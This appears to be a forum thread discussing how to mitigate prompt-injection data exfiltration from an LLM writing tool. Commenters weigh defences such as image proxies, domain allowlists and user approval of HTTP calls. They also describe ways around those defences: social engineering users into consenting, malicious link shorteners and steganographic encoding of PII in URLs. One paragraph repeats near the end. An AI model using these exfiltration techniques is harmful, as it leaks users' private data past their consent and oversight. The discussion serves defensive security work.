I was thinking about how to mitigate this. First thought was to rewrite links for embedded content such as images to use a proxy server, like how `camo.githubusercontent.com` works, but this wouldn't prevent passing arbitrary data in the URL.
The only other things I can think of are to only allow embedding content from certain domains (the article mentions that Writer.com's CSP lists `*.cloudfront.net` which is not good), or to not allow the LLM to return embedded content at all (sanitize it out). This should even be extended to markdown links - it would be trivial to create a MITM link shortener that exfiltrates data via URL params and quickly redirects you to the actual destination.
They could prevent the rendering engine and llm from doing any http calls, prompting the user to allow the engine and llm for each call it needs to make, showing the call details.
That’d provide some protection, but the LLM could be prompted to socially engineer users.
For example, it could be promoted to only make malicious HTTP requests via an image when the user genuinely requests an external image be created. This would achieve consent from users who thought they were asking for a safe external source.
Similar for fonts, external searches [1], social items etc
[1] e.g putting a reverse proxy in front of a search engine and adding in extra malicious params
You could also just steganographically encode it. You have the entire URL after the domain name to encode leaked data into. LLMs can do things like base-64 encoding no sweat. Encode some into the 'ID' in the path, some into the capitalization, some into the 'filename', some into the directories, some into the 'arguments', and a perfectly innocuous-looking functional URL now leaks hundreds of bytes of PII per request.
That's not a solution. You have to guard against all image URLs, because every domain and path can steganographically encode bits of information. 'foo.com/image/1.jpg' vs 'fo.com/img/2.jpg' just leaked several bytes of information while each URL looks completely harmless in isolation. A byte here and a byte there, and pretty soon you have their name or CC or address or tokens or...
The only other things I can think of are to only allow embedding content from certain domains (the article mentions that Writer.com's CSP lists `*.cloudfront.net` which is not good), or to not allow the LLM to return embedded content at all (sanitize it out). This should even be extended to markdown links - it would be trivial to create a MITM link shortener that exfiltrates data via URL params and quickly redirects you to the actual destination.